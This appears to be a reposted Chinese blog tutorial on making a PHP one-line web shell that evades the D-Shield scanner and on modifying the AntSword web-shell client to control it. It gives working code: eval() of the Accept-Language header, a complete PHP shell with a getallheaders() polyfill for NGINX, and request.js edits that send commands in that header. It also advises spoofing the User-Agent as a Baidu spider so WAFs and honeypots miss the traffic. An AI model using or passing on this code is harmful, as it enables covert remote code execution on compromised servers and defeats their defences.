改造中国蚁剑AntSword之轻松过狗

栏目: PHP · 发布时间: 7年前

内容简介:这些里面有一些是我们可控的,那么我们可以利用里面任意一个可控的去发送数据,别老盯着POST,GET。我们这里就随便选用一个
改造中国蚁剑AntSword之轻松过狗

原创文章,转载希望带个版权,谢谢

1,过狗 PHP 一句话

现在的防护软件,对GET和POST检查很严格

用php混淆,编写function,定义class来绕过这些防护软件,熟悉php的人对绕过这些软件还是比较容易的。

我们这里就不多说明了,

我们先来了解一下PHP的 超全局变量

改造中国蚁剑AntSword之轻松过狗

这些里面有一些是我们可控的,那么我们可以利用里面任意一个可控的去发送数据,别老盯着POST,GET。

我们这里就随便选用一个

@eval($_SERVER['HTTP_ACCEPT_LANGUAGE']);

我们用浏览器语言来发送执行代码

但是很可惜被D盾杀了

改造中国蚁剑AntSword之轻松过狗

这里我想到另外一个获取HTTP头信息的函数

getallheaders()

但是这个函数只能在Apache+PHP环境下使用

NGINX下是不支持这个函数的

先不管那么多,试试看

@eval(getallheaders()['Accept-Language']);

成功躲过了D盾查杀

改造中国蚁剑AntSword之轻松过狗

这个代码还是比较短小精悍的.

但是使用起来不方便,要自己每次修改浏览器language去执行shell,还不能对NGINX使用。

我们来继续解决这两个用户 “痛点”

2.改造中国蚁剑/AntSword

先来解决NGINX不支持的问题

我们自己写个function吧

<?php
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}    }
return $headers;
}
}
@eval(getallheaders()['Accept-Language']);
?>

D盾还是不杀的

改造中国蚁剑AntSword之轻松过狗

接下来解决第二个用户痛点

我们来修改下中国蚁剑AntSword

让它能控制上面这个shell

上一篇讲过

https://www.3hack.com/tools/17.html

中国蚁剑AntSword要修改下user-agent

要注意的是
软件默认的user-agent是
User-Agent: antSword/v2.0
大部分人都不会去自定义useragent
这就给waf和蜜罐白送了一个特征
所以我们要修改一下源代码
修改项目内
antSword-2.0.2modulesrequest.js (17行一处)
antSword-2.0.2modulesupdate.js (两处)
Baiduspider-image
我改成列百度图片蜘蛛

这次我们还是修改 request.js

这是AntSword的发包核心模块

我们找到

const _postData = Object.assign({}, opts.body, opts.data);
_request

在这两行中间插入一句

_request.set('Accept-Language',_postData[1]);

_postData[1]是软件发送的执行代码

注意:我们 shell 的配置信息密码也要写1

变成

const _postData = Object.assign({}, opts.body, opts.data);
_request.set('Accept-Language',_postData[1]);
_request

重启AntSword

我们编辑下shell, 密码要是1 ,为了更好的过WAF

我们把编码模式也改成 chr

改造中国蚁剑AntSword之轻松过狗

我们先关闭一句话,来记录下文件,看看shell收到的内容

改造中国蚁剑AntSword之轻松过狗

在AntSword里面双击shell,再看看记录的txt

改造中国蚁剑AntSword之轻松过狗

!!!分割的,上面是post的内容,下面是language的内容

我们发现是一样的了,说明程序发了两份代码,一份在language内,还是会发一份post给shell

这样有个好处,就是post的一句话也照样执行。

我们打开shell来看看

发现可以了,再头部language里面执行一句话,也可以用软件来控制了

改造中国蚁剑AntSword之轻松过狗

来试试虚拟终端,也ok

改造中国蚁剑AntSword之轻松过狗

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据结构、算法与应用(原书第2版)

数据结构、算法与应用(原书第2版)

Sartaj Sahni / 王立柱、刘志红 / 机械工业出版社 / 2015-4 / 79.00元

《数据结构、算法与应用——C++语言描述》是享有盛誉的数据结构教科书的第2版。它完整地包含了基本数据结构的内容,是CS2课程的理想用书。作者Sartaj Sahni通过循循善诱的讲解、直观具体的讨论和基于现实的应用,让读者轻松、愉快地学习。新版书着重利用标准模板库(STL),把书中开发的数据结构和算法与相应的STL实现方法相互关联。本书还增加了很多新的实例和练习题。 书中的应用实例是它的特色......一起来看看 《数据结构、算法与应用(原书第2版)》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具